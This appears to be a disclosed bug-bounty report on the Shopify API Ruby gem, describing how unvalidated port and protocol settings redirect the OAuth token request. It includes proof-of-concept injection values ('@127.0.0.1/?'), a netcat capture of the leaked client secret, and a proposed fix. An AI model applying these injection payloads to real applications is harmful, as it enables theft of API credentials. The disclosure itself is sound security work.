H1514 Shopify API ruby SDK session setup lacks input validation, resulting in SSRF and leakage of client secret

How it was found

Hi team,

The Shopify API ruby SDK has the ability for the developer to interact with their shop's REST API. When setting up the gem, a code structure similar to the one below may be used to set up the connection:

require 'shopify_api'

class SomeController < ApplicationController
  def index
    ShopifyAPI::Session.setup secret: '<secret>'

    session = ShopifyAPI::Session.new('some-shop.myshopify.com')

    access_token = session.request_token(params)
  end
end

When the ShopifyAPI::Session class is initialized, the following code is executed:

def prepare_url(url)
  return nil if url.blank?
  # remove http:// or https://
  url = url.strip.gsub(/\Ahttps?:\/\//, '')
  # extract host, removing any username, password or path
  shop = URI.parse("https://#{url}").host
  # extract subdomain of .myshopify.com
  if idx = shop.index(".")
    shop = shop.slice(0, idx)
  end
  return nil if shop.empty?
  shop = "#{shop}.#{myshopify_domain}"
  port ? "#{shop}:#{port}" : shop
rescue URI::InvalidURIError
  nil
end

At the bottom, right above the rescue keyword, it can be observed that if a port is given, it is appended to the shop URL. This means that if the setup method is invoked with a port parameter, it'll be appended after the parsed hostname. Here is an example:

[1] pry(main)> require 'shopify_api'
=> true
[2] pry(main)> ShopifyAPI::Session.setup port: '80', secret: ''
=> {:port=>"80", :secret=>""}
[3] pry(main)> session = ShopifyAPI::Session.new("test.myshopify.com")
=> #<ShopifyAPI::Session:0x00007fc5b2051070 extra={}, token=nil, url="test.myshopify.com:80">

As can be seen above, the resulting instance variable called url now contains the given port value. When the request_token method is called, the following code gets executed:

def access_token_request(code)
  uri = URI.parse("#{protocol}://#{url}/admin/oauth/access_token")
  https = Net::HTTP.new(uri.host, uri.port)
  https.use_ssl = true
  request = Net::HTTP::Post.new(uri.request_uri)
  request.set_form_data({"client_id" => api_key, "client_secret" => secret, "code" => code})
  https.request(request)
end

The problem that arises here, is that the URL gets parsed a second time and then uses the parsed information from the newly constructed URL instead of what the class was initialized with. This allows an attacker to inject an arbitrary domain through the port and protocol parameter when calling the setup method. An example:

require 'shopify_api'

ShopifyAPI::Session.setup protocol: 'https', secret: '', port: '@127.0.0.1/?'

session = ShopifyAPI::Session.new('some-shop.myshopify.com')

access_token = session.request_token({'hmac' => 'd54d830d05601f0b4247f654e4c57b51318be655f40c7a7119141c98a23f6815', 'timestamp': '2000000000'})

The code above will exfiltrate the client_secret, client_id, and code to 127.0.0.1:443. An excerpt of the captured request can be found below. The hmac above is a valid signature for the given timestamp (in a far distant future) and an empty secret.

$ nc -l -n -vv -p 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [127.0.0.1] port 443 [tcp/*] accepted (family 2, sport 60286)
POST /?/admin/oauth/access_token HTTP/1.1
Host: 127.0.0.1:443
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 29
Accept: */*
User-Agent: Ruby
Content-Type: application/x-www-form-urlencoded

client_id&client_secret=&code

The same can be achieved with the protocol parameter:

ShopifyAPI::Session.setup protocol: 'https://127.0.0.1/?', secret: ''

session = ShopifyAPI::Session.new('some-shop.myshopify.com')

access_token = session.request_token({'hmac' => 'd54d830d05601f0b4247f654e4c57b51318be655f40c7a7119141c98a23f6815', 'timestamp': '2000000000'})

Impact

This vulnerability can only be exploited if an attacker can influence the port or protocol parameter when given to the setup method. This seems to be rather unlikely to happen. However, I don't believe that the usage of a Gem should unnecessarily expose the user to arbitrary security vulnerabilities. Given that this may impact their local network and may leak their API keys, I decided to bring this to your attention.

Here's what a fix could look like:

diff --git a/lib/shopify_api/session.rb b/lib/shopify_api/session.rb
index 937bbd0..bd8fdaf 100644
--- a/lib/shopify_api/session.rb
+++ b/lib/shopify_api/session.rb
@@ -16,7 +16,18 @@ module ShopifyAPI
     class << self

       def setup(params)
-        params.each { |k,value| public_send("#{k}=", value) }
+        params.each do |key, value|
+          case key
+          when 'port', :port
+            sanitized_value = value.to_i
+          when 'protocol', :protocol
+            sanitized_value = protocol =~ /\Ahttps?\Z/ ? protocol : 'https'
+          else
+            sanitized_value = value
+          end
+
+          public_send("#{key}=", sanitized_value)
+        end
       end

       def temp(domain, token, &block)